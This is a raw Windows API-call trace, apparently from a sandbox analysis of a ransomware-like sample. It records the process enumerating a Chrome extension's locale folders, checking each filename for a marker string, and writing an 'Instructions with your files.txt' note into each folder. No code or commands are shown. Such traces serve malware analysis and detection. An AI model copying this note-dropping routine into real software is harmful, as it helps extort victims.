[0129.282] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*") returned 144
[0129.282] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.282] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\.") returned 144
[0129.282] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.282] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\..") returned 145
[0129.282] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.282] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\messages.json") returned 156
[0129.282] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.282] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x161, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.282] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\Instructions with your files.txt") returned 175
[0129.282] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\uk\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.283] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.284] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.284] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.284] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.284] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.284] CloseHandle (hObject=0x134) returned 1
[0129.284] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.284] GetProcessHeap () returned 0x810000
[0129.284] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.284] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="vi", cAlternateFileName="")) returned 1
[0129.284] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi") returned 142
[0129.284] GetProcessHeap () returned 0x810000
[0129.284] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.284] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*") returned 144
[0129.284] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.285] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\.") returned 144
[0129.285] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.285] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\..") returned 145
[0129.285] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.285] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\messages.json") returned 156
[0129.285] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.285] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x117, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.286] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\Instructions with your files.txt") returned 175
[0129.286] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\vi\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.286] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.287] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.287] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.287] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.287] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.287] CloseHandle (hObject=0x134) returned 1
[0129.287] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.287] GetProcessHeap () returned 0x810000
[0129.287] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.287] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_CN", cAlternateFileName="")) returned 1
[0129.288] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN") returned 145
[0129.288] GetProcessHeap () returned 0x810000
[0129.288] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.288] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*") returned 147
[0129.288] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.288] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\.") returned 147
[0129.288] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86fef9d0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x86fef9d0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.288] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\..") returned 148
[0129.288] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.288] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\messages.json") returned 159
[0129.288] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.288] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x86ff1910, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x111, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.288] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\Instructions with your files.txt") returned 178
[0129.288] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_CN\\Instructions with your files.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_cn\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x134
[0129.289] WriteFile (in: hFile=0x134, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cd784*=0x54, lpOverlapped=0x0) returned 1
[0129.289] WriteFile (in: hFile=0x134, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cd784*=0x18, lpOverlapped=0x0) returned 1
[0129.289] WriteFile (in: hFile=0x134, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cd784*=0xc, lpOverlapped=0x0) returned 1
[0129.290] WriteFile (in: hFile=0x134, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cd784*=0x16, lpOverlapped=0x0) returned 1
[0129.290] WriteFile (in: hFile=0x134, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cd784, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cd784*=0x23, lpOverlapped=0x0) returned 1
[0129.290] CloseHandle (hObject=0x134) returned 1
[0129.290] FindClose (in: hFindFile=0x876ef8 | out: hFindFile=0x876ef8) returned 1
[0129.290] GetProcessHeap () returned 0x810000
[0129.290] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x8ecc30 | out: hHeap=0x810000) returned 1
[0129.290] FindNextFileW (in: hFindFile=0x876eb8, lpFindFileData=0x22cda34 | out: lpFindFileData=0x22cda34*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="zh_TW", cAlternateFileName="")) returned 1
[0129.290] wnsprintfW (in: pszDest=0x8dcc28, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW") returned 145
[0129.290] GetProcessHeap () returned 0x810000
[0129.290] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8ecc30
[0129.290] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*") returned 147
[0129.290] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\*", lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876ef8
[0129.291] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\.") returned 147
[0129.291] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x86fef9d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87015b30, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x87015b30, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0129.291] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\..") returned 148
[0129.291] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 1
[0129.291] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\messages.json") returned 159
[0129.291] StrStrIW (lpFirst="messages.json", lpSrch="SDfghjkl") returned 0x0
[0129.291] FindNextFileW (in: hFindFile=0x876ef8, lpFindFileData=0x22cd7a4 | out: lpFindFileData=0x22cd7a4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x87015b30, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x87016300, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x871928f0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x10b, dwReserved0=0x0, dwReserved1=0x0, cFileName="messages.json", cAlternateFileName="MESSAG~1.JSO")) returned 0
[0129.291] wnsprintfW (in: pszDest=0x8ecc30, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\apdfllckaahabafndbhieahigkjlhalf\\14.1_0\\_locales\\zh_TW\\Instructions with your files.txt") returned 178
